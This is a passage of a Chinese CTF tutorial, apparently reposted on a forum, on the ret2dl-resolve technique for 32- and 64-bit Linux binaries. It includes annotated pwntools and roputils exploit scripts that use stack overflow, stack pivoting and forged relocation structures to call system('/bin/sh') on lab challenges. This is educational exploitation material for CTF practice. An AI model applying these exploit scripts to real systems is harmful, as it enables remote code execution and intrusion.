搜索

[19536] 2019-10-10_CTF丨LinuxPwn入门教程：针对函数重定位流程的相关测试（下）

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2019-10-10_CTF丨LinuxPwn入门教程：针对函数重定位流程的相关测试（下） C T F 丨 L i n u x   P w n 入 门 教 程 ： 针 对 函 数 重 定 位 流 程 的 相 关 测 试 （ 下 ） i 春 秋   2 0 1 9 - 1 0 - 1 0 L i n u x   P w n 入 门 教 程 系 列 分 享 已 到 尾 声 ， 本 套 课 程 是 作 者 依 据 i 春 秋 P w n 入 门 课 程 中 的 技 术 分 类 ， 并 结 合 近 几 年 赛 事 中 出 现 的 题 目 和 文 章 整 理 出 一 份 相 对 完 整 的 L i n u x   P w n 教 程 。 教 程 仅 针 对 i 3 8 6 / a m d 6 4 下 的 L i n u x   P w n 常 见 的 P w n 手 法 ， 如 栈 ， 堆 ， 整 数 溢 出 ， 格 式 化 字 符 串 ， 条 件 竞 争 等 进 行 介 绍 ， 所 有 环 境 都 会 封 装 在 D o c k e r 镜 像 当 中 ， 并 提 供 调 试 用 的 教 学 程 序 ， 来 自 历 年 赛 事 的 原 题 和 带 有 注 释 的 p y t h o n 脚 本 。 今 天 i 春 秋 与 大 家 分 享 的 是 L i n u x   P w n 入 门 教 程 中 的 最 后 一 节 内 容 ： 针 对 函 数 重 定 位 流 程 的 相 关 测 试 （ 下 ） ， 阅 读 用 时 约 2 0 分 钟 。 注 ： 注 ： 文 末 有 本 套 课 程 所 整 理 的 全 部 内 容 ， 大 家 可 收 藏 进 行 系 统 学 习 。 3 2 位 下 的 位 下 的 r e t 2 d l - r e s o l v e 通 过 一 系 列 冗 长 的 源 码 阅 读 + 调 试 分 析 ， 我 们 捋 了 一 遍 符 号 重 定 位 的 流 程 ， 现 在 我 们 要 站 在 测 试 角 度 看 待 这 个 流 程 了 。 从 上 面 的 分 析 结 果 中 我 们 知 道 其 实 最 终 影 响 解 析 的 是 函 数 的 名 字 ， 那 么 如 果 我 们 强 行 把 w r i t e 改 成 s y s t e m 呢 ？ 我 们 来 试 一 下 。 我 们 强 行 修 改 内 存 数 据 ， 然 后 继 续 运 行 ， 发 现 劫 持 g o t 表 成 功 ， 此 时 w r i t e 表 项 是 s y s t e m 的 地 址 。
那 么 我 们 是 不 是 可 以 修 改 d y n s t r 里 面 的 数 据 呢 ？ 通 过 查 看 内 存 属 性 ， 我 们 很 不 幸 地 发 现 . r e l . p l t .   . d y n s y m   . d y n s t r 所 在 的 内 存 区 域 都 不 可 写 。 这 样 一 来 ， 我 们 能 够 改 变 的 就 只 有 r e l o c _ a r g 了 。 基 于 上 面 的 分 析 ， 我 们 的 思 路 是 在 内 存 中 伪 造 E l f 3 2 _ R e l 和 E l f 3 2 _ S y m 两 个 结 构 体 ， 并 手 动 传 递 r e l o c _ a r g 使 其 指 向 我 们 伪 造 的 结 构 体 ， 让 E l f 3 2 _ S y m . s t _ n a m e 的 偏 移 值 指 向 预 先 放 在 内 存 中 的 字 符 串 s y s t e m 完 成 攻 击 。 为 了 地 址 可 控 ， 我 们 首 先 进 行 栈 劫 持 并 跳 转 到 0 x 0 8 0 4 8 3 4 B 。 为 此 我 们 必 须 在 b s s 段 构 造 一 个 新 的 栈 ， 以 便 栈 劫 持 完 成 后 程 序 不 会 崩 溃 。 R O P 链 如 下 ： # ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   * c o n t e x t . u p d a t e ( o s   =   ' l i n u x ' ,   a r c h   =   ' i 3 8 6 ' ) s t a r t _ a d d r   =   0 x 0 8 0 4 8 3 5 0 r e a d _ p l t   =   0 x 0 8 0 4 8 3 1 0 w r i t e _ p l t   =   0 x 0 8 0 4 8 3 4 0 w r i t e _ p l t _ w i t h o u t _ p u s h _ r e l o c _ a r g   =   0 x 0 8 0 4 8 3 4 b l e a v e _ r e t   =   0 x 0 8 0 4 8 4 8 2 p o p 3 _ r e t   =   0 x 0 8 0 4 8 5 1 9 p o p _ e b p _ r e t   =   0 x 0 8 0 4 8 5 1 b n e w _ s t a c k _ a d d r   =   0 x 0 8 0 4 a 2 0 0                                                                                                                 # b s s 与 g o t 表 相 邻 ， _ d l _ f i x u p 中 会 降 低 栈 后 传 参 ， 设 置 离 b s s 首 地 址 远 一 点 防 止 参 数 写 入 非 法 地 址 出 错 i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 2 ' ,   1 0 0 0 1 ) p a y l o a d   =   " " p a y l o a d   + =   ' A ' * 1 4 0                                                                                                                                                 # p a d d i n g p a y l o a d   + =   p 3 2 ( r e a d _ p l t )                                                                                                                 # 调 用 r e a d 函 数 往 新 栈 写 值 ， 防 止 l e a v e ;   r e t n 到 新 栈 后 出 现 r e t 到 地 址 0 上 导 致 出 错 p a y l o a d   + =   p 3 2 ( p o p 3 _ r e t )                                                                                                                 # r e a d 函 数 返 回 后 从 栈 上 弹 出 三 个 参 数
测 试 结 果 ： 我 们 可 以 看 到 调 用 成 功 了 。 我 们 发 现 其 实 跳 转 到 w r i t e _ p l t _ w i t h o u t _ p u s h _ r e l o c _ a r g 上 ， 还 是 会 直 接 跳 转 到 P L T [ 0 ] ， 所 以 我 们 可 以 把 这 个 地 址 改 成 P L T [ 0 ] 的 地 址 。 接 下 来 我 们 开 始 着 手 在 新 的 栈 上 伪 造 两 个 结 构 体 ： p a y l o a d   + =   p 3 2 ( 0 )                                                                                                                                                 # f d   =   0 p a y l o a d   + =   p 3 2 ( n e w _ s t a c k _ a d d r )                                                                                                 # b u f   =   n e w _ s t a c k _ a d d r p a y l o a d   + =   p 3 2 ( 0 x 4 0 0 )                                                                                                                                                 # s i z e   =   0 x 4 0 0 p a y l o a d   + =   p 3 2 ( p o p _ e b p _ r e t )                                                                                                                 # 把 新 栈 顶 给 e b p ， 接 下 来 利 用 l e a v e 指 令 把 e b p 的 值 赋 给 e s p p a y l o a d   + =   p 3 2 ( n e w _ s t a c k _ a d d r )                                                                 p a y l o a d   + =   p 3 2 ( l e a v e _ r e t ) i o . s e n d ( p a y l o a d )                                                                                                                                                 # 此 时 程 序 会 停 在 我 们 使 用 p a y l o a d 调 用 的 r e a d 函 数 处 等 待 输 入 数 据 p a y l o a d   =   " " p a y l o a d   + =   " A A A A "                                                                                                                                                 # l e a v e   =   m o v   e s p ,   e b p ;   p o p   e b p ， 占 位 用 于 p o p   e b p p a y l o a d   + =   p 3 2 ( w r i t e _ p l t _ w i t h o u t _ p u s h _ r e l o c _ a r g )                 # 按 照 我 们 的 测 试 方 案 ， 强 制 程 序 对 w r i t e 函 数 重 定 位 ， r e l o c _ a r g 由 我 们 手 动 放 入 栈 中 p a y l o a d   + =   p 3 2 ( 0 x 1 8 )                                                                                                                                 # 手 动 传 递 w r i t e 的 r e l o c _ a r g ， 调 用 w r i t e p a y l o a d   + =   p 3 2 ( s t a r t _ a d d r )                                                                                                                 # 函 数 执 行 完 后 返 回 s t a r t p a y l o a d   + =   p 3 2 ( 1 )                                                                                                                                                 # f d   =   1 p a y l o a d   + =   p 3 2 ( 0 x 0 8 0 4 8 0 0 0 )                                                                                                                 # b u f   =   E L F 程 序 加 载 开 头 ， w r i t e 会 输 出 E L F p a y l o a d   + =   p 3 2 ( 4 )                                                                                                                                                 # s i z e   =   4 i o . s e n d ( p a y l o a d )
我 们 把 新 栈 的 地 址 向 后 调 整 了 一 点 ， 因 为 在 调 试 深 入 到 _ d l _ f i x u p 的 时 候 发 现 某 行 指 令 试 图 对 g o t 表 写 入 ， 而 g o t 表 正 好 就 在 b s s 的 前 面 ， 紧 接 着 b s s ， 为 了 防 止 运 行 出 错 ， 我 们 进 行 了 调 整 。 此 外 ， 需 要 注 意 的 是 伪 造 的 两 个 结 构 体 都 要 与 其 首 地 址 保 持 对 齐 。 完 成 了 结 构 体 伪 造 之 后 ， 我 们 将 这 些 内 容 放 在 新 栈 中 ， 调 试 的 时 候 确 认 整 个 伪 造 的 链 条 正 确 ， p w n   i t ！ 6 4 位 下 的 位 下 的 r e t 2 d l - r e s o l v e w r i t e _ g o t   =   0 x 0 8 0 4 a 0 1 8                 n e w _ s t a c k _ a d d r   =   0 x 0 8 0 4 a 5 0 0                                                 # b s s 与 g o t 表 相 邻 ， _ d l _ f i x u p 中 会 降 低 栈 后 传 参 ， 设 置 离 b s s 首 地 址 远 一 点 防 止 参 数 写 入 非 法 地 址 出 错 r e l p l t _ a d d r   =   0 x 0 8 0 4 8 2 b 0                                                 # . r e l . p l t 的 首 地 址 ， 通 过 计 算 首 地 址 和 新 栈 上 我 们 伪 造 的 结 构 体 E l f 3 2 _ R e l 偏 移 构 造 r e l o c _ a r g d y m s y m _ a d d r   =   0 x 0 8 0 4 8 1 c c                                                 # . d y n s y m 的 首 地 址 ， 通 过 计 算 首 地 址 和 新 栈 上 我 们 伪 造 的 E l f 3 2 _ S y m 结 构 体 偏 移 构 造 E l f 3 2 _ R e l . r _ i n f o d y n s t r _ a d d r   =   0 x 0 8 0 4 8 2 2 c                                                 # . d y n s t r 的 首 地 址 ， 通 过 计 算 首 地 址 和 新 栈 上 我 们 伪 造 的 函 数 名 字 符 串 s y s t e m 偏 移 构 造 E l f 3 2 _ S y m . s t _ n a m e f a k e _ E l f 3 2 _ R e l _ a d d r   =   n e w _ s t a c k _ a d d r   +   0 x 5 0                 # 在 新 栈 上 选 择 一 块 空 间 放 伪 造 的 E l f 3 2 _ R e l 结 构 体 ， 结 构 体 大 小 为 8 字 节 f a k e _ E l f 3 2 _ S y m _ a d d r   =   n e w _ s t a c k _ a d d r   +   0 x 5 c                 # 在 伪 造 的 E l f 3 2 _ R e l 结 构 体 后 面 接 上 伪 造 的 E l f 3 2 _ S y m 结 构 体 ， 结 构 体 大 小 为 0 x 1 0 字 节 b i n s h _ a d d r   =   n e w _ s t a c k _ a d d r   +   0 x 7 4                                                 # 把 / b i n / s h x 0 0 字 符 串 放 在 最 后 面 f a k e _ r e l o c _ a r g   =   f a k e _ E l f 3 2 _ R e l _ a d d r   -   r e l p l t _ a d d r                 # 计 算 伪 造 的 r e l o c _ a r g f a k e _ r _ i n f o   =   ( ( f a k e _ E l f 3 2 _ S y m _ a d d r   -   d y m s y m _ a d d r ) / 0 x 1 0 )   < <   8   |   0 x 7   # 伪 造 r _ i n f o ， 偏 移 要 计 算 成 下 标 ， 除 以 E l f 3 2 _ S y m 的 大 小 ， 最 后 一 字 节 为 0 x 7 f a k e _ s t _ n a m e   =   n e w _ s t a c k _ a d d r   +   0 x 6 c   -   d y n s t r _ a d d r                                 # 伪 造 的 E l f 3 2 _ S y m 结 构 体 后 面 接 上 伪 造 的 函 数 名 字 符 串 s y s t e m f a k e _ E l f 3 2 _ R e l _ d a t a   =   " " f a k e _ E l f 3 2 _ R e l _ d a t a   + =   p 3 2 ( w r i t e _ g o t )                                                                                 # r _ o f f s e t   =   w r i t e _ g o t ， 以 免 重 定 位 完 毕 回 填 g o t 表 的 时 候 出 现 非 法 内 存 访 问 错 误 f a k e _ E l f 3 2 _ R e l _ d a t a   + =   p 3 2 ( f a k e _ r _ i n f o ) f a k e _ E l f 3 2 _ S y m _ d a t a   =   " " f a k e _ E l f 3 2 _ S y m _ d a t a   + =   p 3 2 ( f a k e _ s t _ n a m e ) f a k e _ E l f 3 2 _ S y m _ d a t a   + =   p 3 2 ( 0 )                                                                                                                 # 后 面 的 数 据 直 接 套 用 w r i t e 函 数 的 E l f 3 2 _ S y m 结 构 体 ， 具 体 成 员 变 量 含 义 自 行 搜 索 f a k e _ E l f 3 2 _ S y m _ d a t a   + =   p 3 2 ( 0 ) f a k e _ E l f 3 2 _ S y m _ d a t a   + =   p 3 2 ( 0 x 1 2 )
与 3 2 位 不 同 ， 在 6 4 位 下 ， 虽 然 _ d l _ f i x u p 函 数 的 逻 辑 没 有 改 变 ， 但 是 许 多 相 关 的 变 量 和 结 构 体 都 有 了 变 化 。 例 如 在 g l i b c / s y s d e p s / x 8 6 _ 6 4 / d l - r u n t i m e . c 中 定 义 了 r e l o c _ o f f s e t 和 r e l o c _ i n d e x ： 我 们 可 以 推 断 出 r e l o c _ a r g 已 经 不 像 3 2 位 中 是 作 为 一 个 偏 移 值 存 在 ， 而 是 作 为 一 个 数 组 下 标 存 在 。 此 外 ， 两 个 关 键 的 结 构 体 也 做 出 了 调 整 ： E l f 3 2 _ R e l 升 级 为 E l f 6 4 _ R e l a ,   E l f 3 2 _ S y m 升 级 为 E l f 6 4 _ S y m ， 这 两 个 结 构 体 的 大 小 均 为 0 x 1 8 。 此 外 ， _ d l _ r u n t i m e _ r e s o l v e 的 实 现 位 于 g l i b c / s y s d e p s / x 8 6 _ 6 4 / d l - t r a m p o l i n e . h 中 ， 其 代 码 加 了 宏 定 义 之 后 可 读 性 很 差 ， 核 心 内 容 仍 然 是 调 用 _ d l _ f i x u p ， 此 处 不 再 分 析 。 最 后 ， 在 6 4 位 下 进 行 r e t 2 d l - r e s o l v e 还 有 一 个 问 题 ， 即 我 们 在 分 析 源 码 时 提 到 但 是 应 用 中 却 忽 略 的 一 个 潜 在 数 组 越 界 ： # d e f i n e   r e l o c _ o f f s e t   r e l o c _ a r g   *   s i z e o f   ( P L T R E L ) # d e f i n e   r e l o c _ i n d e x     r e l o c _ a r g # i n c l u d e   < e l f / d l - r u n t i m e . c > t y p e d e f   s t r u c t {     E l f 6 4 _ A d d r                 r _ o f f s e t ;                                 / *   A d d r e s s   * /     E l f 6 4 _ X w o r d                 r _ i n f o ;                                                 / *   R e l o c a t i o n   t y p e   a n d   s y m b o l   i n d e x   * /     E l f 6 4 _ S x w o r d                 r _ a d d e n d ;                                 / *   A d d e n d   * / }   E l f 6 4 _ R e l a ; t y p e d e f   s t r u c t {     E l f 6 4 _ W o r d                 s t _ n a m e ;                                 / *   S y m b o l   n a m e   ( s t r i n g   t b l   i n d e x )   * /     u n s i g n e d   c h a r                 s t _ i n f o ;                                 / *   S y m b o l   t y p e   a n d   b i n d i n g   * /     u n s i g n e d   c h a r   s t _ o t h e r ;                                 / *   S y m b o l   v i s i b i l i t y   * /     E l f 6 4 _ S e c t i o n                 s t _ s h n d x ;                                 / *   S e c t i o n   i n d e x   * /     E l f 6 4 _ A d d r                 s t _ v a l u e ;                                 / *   S y m b o l   v a l u e   * /     E l f 6 4 _ X w o r d                 s t _ s i z e ;                                 / *   S y m b o l   s i z e   * / }   E l f 6 4 _ S y m ;
这 里 会 使 用 r e l o c - > r _ i n f o 的 高 位 作 为 下 标 产 生 了 n d x ， 然 后 在 l i n k _ m a p 的 成 员 数 组 变 量 l _ v e r s i o n s 中 取 值 作 为 v e r s i o n 。 为 了 在 伪 造 的 时 候 正 确 定 位 到 s y m ， r _ i n f o 必 然 会 较 大 。 在 3 2 位 的 情 况 下 ， 由 于 程 序 的 映 射 较 为 紧 凑 ，   r e l o c - > r _ i n f o 的 高 2 4 位 导 致 v e r n u m 数 组 越 界 的 情 况 较 少 。 由 于 程 序 映 射 的 原 因 ， v e r n u m 数 组 首 地 址 后 面 有 大 片 内 存 都 是 以 0 x 0 0 填 充 ， 测 试 导 致 r e l o c - > r _ i n f o 的 高 2 4 位 过 大 后 从 v e r n u m 数 组 中 获 取 到 的 n d x 有 很 大 概 率 是 0 ， 从 而 由 于 n d x 异 常 导 致 l _ v e r s i o n s 数 组 越 界 的 几 率 也 较 低 。 我 们 可 以 对 照 源 码 ， I D A 调 试 进 入 _ d l _ f i x u p 后 ， 将 断 点 下 在 i f   ( l - > l _ i n f o [ V E R S Y M I D X   ( D T _ V E R S Y M ) ]   ! =   N U L L ) 附 近 。 中 断 后 切 换 到 汇 编             i f   ( l - > l _ i n f o [ V E R S Y M I D X   ( D T _ V E R S Y M ) ]   ! =   N U L L )                 {                     c o n s t   E l f W ( H a l f )   * v e r n u m   =                         ( c o n s t   v o i d   * )   D _ P T R   ( l ,   l _ i n f o [ V E R S Y M I D X   ( D T _ V E R S Y M ) ] ) ;                     E l f W ( H a l f )   n d x   =   v e r n u m [ E L F W ( R _ S Y M )   ( r e l o c - > r _ i n f o ) ]   &   0 x 7 f f f ;                     v e r s i o n   =   & l - > l _ v e r s i o n s [ n d x ] ;                     i f   ( v e r s i o n - > h a s h   = =   0 )                         v e r s i o n   =   N U L L ;                 }
单 步 运 行 到 m o v z x   e d x ,   w o r d   p t r   [ e d x + e s i * 2 ] 一 行 观 察 e d x 的 值 ， 此 处 为 0 x 0 8 0 4 8 2 7 c ,   e d x + e s i * 2   =   0 x 0 8 0 4 8 2 8 4 ， 查 看 程 序 的 内 存 映 射 情 况 。 一 直 到 地 址 0 x 0 8 0 4 b 0 0 0 都 是 可 读 的 ， 所 以 e s i ， 也 就 是 r e l o c - > r _ i n f o 的 高 2 4 位 最 高 可 以 达 到 0 x 1 6 c 2 ， 考 虑 到 . d y m s y m 与 . b s s 的 间 隔 ， 这 个 允 许 范 围 基 本 够 用 。 继 续 往 下 看 ：
此 时 的 e d i   =   0 x f 7 f a 9 9 1 8 ， [ e d i + 1 7 0 h ] 保 存 的 值 为 0 X f 7 f 7 e b 0 8 ， 其 后 连 续 可 读 的 地 址 最 大 值 为 0 x f 7 f a a 0 0 0 ， 因 此 m o v   e c x ,   [ e d x + 4 ] 一 行 ， 按 照 之 前 几 行 汇 编 代 码 的 算 法 ， 只 要 取 出 的 e d x 值 不 大 于 ( 0 x f 7 f a a 0 0 0 - 0 x f 7 f 7 e b 0 8 ) / 0 x 1 0   =   0 x 2 b 4 f ， v e r s i o n   =   & l - > l _ v e r s i o n s [ n d x ] ; 就 不 会 产 生 非 法 内 存 访 问 。 仔 细 观 察 会 发 现 0 x 0 8 0 4 8 2 7 c ~ 0 x 0 8 0 4 b 0 0 0 之 间 几 乎 所 有 的 2 字 节 w o r d 型 数 据 都 符 合 要 求 。 因 此 ， 大 部 分 情 况 下 3 2 位 的 题 目 很 少 会 产 生 r e t 2 d l - r e s o l v e 在 此 处 造 成 的 段 错 误 。 而 对 于 6 4 位 ， 我 们 用 相 同 的 方 法 调 试 本 节 的 例 子 ~ / X M A N   2 0 1 6 - l e v e l 3 _ 6 4 / l e v e l 3 _ 6 4 会 发 现 由 于 我 们 常 用 的 b s s 段 被 映 射 到 了 0 x 6 0 0 0 0 0 之 后 ， 而 d y n s y m 的 地 址 仍 然 在 0 x 4 0 0 0 0 0 附 近 ， r _ i n f o 的 高 位 将 会 变 得 很 大 ， 再 加 上 此 时 v e r n u m 也 在 0 x 4 0 0 0 0 0 附 近 ， v e r n u m [ E L F W ( R _ S Y M )   ( r e l o c - > r _ i n f o ) ] 将 会 有 很 大 概 率 落 在 在 0 x 4 0 0 0 0 0 ~ 0 x 6 0 0 0 0 0 间 的 不 可 读 区 域 。 从 而 产 生 一 个 段 错 误 。 为 了 防 止 出 现 这 个 错 误 ， 我 们 需 要 修 改 判 断 流 程 ， 使 得 l - > l _ i n f o [ V E R S Y M I D X   ( D T _ V E R S Y M ) ] 为 0 ， 从 而 绕 开 这 块 代 码 。 而 l - > l _ i n f o [ V E R S Y M I D X   ( D T _ V E R S Y M ) ] 在 6 4 位 中 的 位 置 就 是 l i n k _ m a p + 0 x 1 c 8 ( 对 应 的 ， 3 2 位 下 为 l i n k _ m a p + 0 x e 4 ) ， 所 以 我 们 需 要 泄 露 l i n k _ m a p 地 址 并 将 l i n k _ m a p 置 为 0 。 6 4 位 下 的 r e t 2 d l - r e s o l v e 与 3 2 位 下 的 r e t 2 d l - r e s o l v e 除 了 上 述 一 些 变 化 之 外 ， e x p 构 造 流 程 并 没 有 什 么 区 别 ， 在 此 处 不 再 赘 述 ， 详 细 脚 本 可 见 于 附 件 。 理 论 上 来 说 ， r e t 2 d l - r e s o l v e 对 于 所 有 存 在 栈 溢 出 ， 没 有 F u l l   R E L R O ( 如 果 开 启 了 F u l l   R E L R O ， 所 有 符 号 将 会 在 运 行 时 被 全 部 解 析 ， 也 就 不 存 在 _ d l _ f i x u p 了 ) 且 有 一 个 已 知 确 定 的 栈 地 址 ( 可 以 通 过 s t a c k   p i v o t 劫 持 栈 到 已 知 地 址 ) 的 程 序 都 适 用 。 但 是 我 们 从 上 面 的 6 4 位 r e t 2 d l - r e s o l v e 中 可 以 看 到 其 必 须 泄 露 l i n k _ m a p 的 地 址 才 能 完 成 利 用 ， 对 于 3 2 位 程 序 来 说 也 可 能 出 现 同 样 的 问 题 。 如 果 出 现 了 不 存 在 输 出 的 栈 溢 出 程 序 ， 我 们 就 没 办 法 用 这 种 套 路 了 ， 那 我 们 该 怎 么 办 呢 ？ 接 下 来 的 几 节 我 们 将 介 绍 一 些 不 依 赖 泄 露 的 攻 击 手 段 。 使 用 使 用 R O P u t i l s 简 化 攻 击 步 骤 简 化 攻 击 步 骤 从 上 面 3 2 位 和 6 4 位 的 攻 击 脚 本 我 们 不 难 看 出 来 ， 虽 然 构 造 p a y l o a d 的 过 程 很 繁 琐 ， 但 是 实 际 上 大 部 分 代 码 的 格 式 都 是 固 定 的 ， 我 们 完 全 可 以 把 它 们 封 装 成 一 个 函 数 进 行 调 用 。 当 然 ， 我 们 还 可 以 当 一 把 懒 人 ， 直 接 用 别 人 写 好 的 库 。 例 如 项 目 R O P u t i l s ( h t t p s : / / g i t h u b . c o m / i n a z 2 / r o p u t i l s ) 阅 读 代 码 r o p u t i l s . p y ， 其 大 部 分 我 们 会 用 到 的 东 西 都 在 R O P * 和 F o r m a t S t r 这 几 个 类 中 ， 不 过 R O P u t i l s 也 提 供 了 其 他 的 辅 助 工 具 类 和 函 数 。 当 然 ， 在 本 节 中 我 们 只 会 介 绍 和 r e t 2 d l - r e s o l v e 相 关 的 一 些 函 数 的 用 法 ， 不 做 源 码 分 析 和 过 多 的 介 绍 。
我 们 可 以 直 接 把 r o p u t i l s . p y 和 自 己 写 的 脚 本 放 在 同 一 个 文 件 夹 下 以 使 用 其 中 的 功 能 。 以 ~ / X M A N   2 0 1 6 - l e v e l 3 / l e v e l 4 为 例 。 其 实 我 们 会 发 现 f a k e   d l - r e s o l v e 并 不 一 定 需 要 进 行 栈 劫 持 ， 我 们 只 要 确 保 伪 造 的 l i n k _ m a p 所 在 地 址 已 知 ， 且 地 址 能 被 作 为 参 数 传 入 _ d l _ f i x u p 即 可 。 我 们 先 来 构 造 一 个 栈 溢 出 ， 调 用 r e a d 读 取 伪 造 的 l i n k _ m a p 到 . b s s 中 。 然 后 我 们 直 接 使 用 i o . i n t e r a c t ( 0 ) 就 可 以 打 开 一 个 s h e l l 了 。 关 于 r o p u t i l s 的 用 法 可 以 参 考 其 g i t h u b 仓 库 中 的 e x a m p l e s ， 其 他 练 习 程 序 不 再 提 供 对 应 的 r o p u t i l s 写 法 的 脚 本 。 f r o m   r o p u t i l s   i m p o r t   * # 为 了 防 止 命 名 冲 突 ， 这 个 脚 本 全 部 只 使 用 r o p u t i l s 中 的 代 码 。 如 果 需 要 使 用 p w n t o o l s 中 的 代 码 需 要 在 i m p o r t   r o p u t i l s 前 i m p o r t   p w n ， 以 使 得 r o p u t i l s 中 的 R O P 覆 盖 掉 p w n t o o l s 中 的 R O P r o p   =   R O P ( ' . / l e v e l 4 ' )                                                 # R O P 继 承 了 E L F 类 ， 下 面 的 s e c t i o n ,   g o t ,   p l t 都 是 调 用 父 类 的 方 法 b s s _ a d d r   =   r o p . s e c t i o n ( ' . b s s ' ) r e a d _ g o t   =   r o p . g o t ( ' r e a d ' ) r e a d _ p l t   =   r o p . p l t ( ' r e a d ' ) o f f s e t   =   1 4 0 i o   =   P r o c ( h o s t   =   ' 1 7 2 . 1 7 . 0 . 2 ' ,   p o r t   =   1 0 0 0 1 )                 # r o p u t i l s 中 这 里 需 要 显 式 指 定 参 数 名 b u f   =   r o p . f i l l ( o f f s e t )                                                 # f i l l 用 于 生 成 填 充 数 据 b u f   + =   r o p . c a l l ( r e a d _ p l t ,   0 ,   b s s _ a d d r ,   0 x 1 0 0 )                 # c a l l 可 以 通 过 某 个 函 数 的 p l t 地 址 方 便 地 进 行 调 用 b u f   + =   r o p . d l _ r e s o l v e _ c a l l ( b s s _ a d d r + 0 x 2 0 ,   b s s _ a d d r )                 # d l _ r e s o l v e _ c a l l 有 一 个 参 数 b a s e 和 一 个 可 选 参 数 列 表 * a r g s 。 b a s e 为 伪 造 的 l i n k _ m a p 所 在 地 址 ， * a r g s 为 要 传 递 给 被 劫 持 调 用 的 函 数 的 参 数 。 这 里 我 们 将 " / b i n / s h x 0 0 " 放 置 在 b s s _ a d d r 处 ， l i n k _ m a p 放 置 在 b s s _ a d d r + 0 x 2 0 处 i o . w r i t e ( b u f ) 然 后 我 们 直 接 用 d l _ r e s o l v e _ d a t a 生 成 伪 造 的 l i n k _ m a p 并 发 送 b u f   =   r o p . s t r i n g ( ' / b i n / s h ' )                               b u f   + =   r o p . f i l l ( 0 x 2 0 ,   b u f )                                 # 如 果 f i l l 的 第 二 个 参 数 被 指 定 ， 相 当 于 将 第 二 个 参 数 命 名 的 字 符 串 填 充 至 指 定 长 度 b u f   + =   r o p . d l _ r e s o l v e _ d a t a ( b s s _ a d d r + 0 x 2 0 ,   ' s y s t e m ' )                 # d l _ r e s o l v e _ d a t a 的 参 数 也 非 常 简 单 ， 第 一 个 参 数 是 伪 造 的 l i n k _ m a p 首 地 址 ， 第 二 个 参 数 是 要 伪 造 的 函 数 名 b u f   + =   r o p . f i l l ( 0 x 1 0 0 ,   b u f ) i o . w r i t e ( b u f )
在 在 . d y n a m i c 节 中 伪 造 节 中 伪 造 . d y n s t r 节 地 址 节 地 址 在 3 2 位 的 r e t 2 d l - r e s o l v e 一 节 中 我 们 已 经 发 现 , E L F 开 发 小 组 为 了 安 全 ， 设 置 . r e l . p l t .   . d y n s y m   . d y n s t r 三 个 重 定 位 相 关 的 节 区 均 为 不 可 写 。 然 而 E L F 文 件 中 有 一 个 . d y n a m i c 节 ， 其 中 保 存 了 动 态 链 接 器 所 需 要 的 基 本 信 息 ， 而 我 们 的 . d y n s t r 也 属 于 这 些 基 本 信 息 中 的 一 个 。 如 果 一 个 程 序 没 有 开 启 R E L R O ( 即 c h e c k s e c 显 示 N o   R E L R O ) . d y n a m i c 节 是 可 写 的 。 （ P a r t i a l   R E L R O 和 F u l l   R E L R O 会 在 程 序 加 载 完 成 时 设 置 . d y n a m i c 为 不 可 写 ， 因 此 尽 管 r e a d e l f 显 示 其 为 可 写 也 不 可 相 信 ） . d y n a m i c 节 中 只 包 含 E l f 3 2 / 6 4 _ D y n 结 构 体 类 型 的 数 据 ， 这 两 个 结 构 体 定 义 在 g l i b c / e l f / e l f . h 下 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理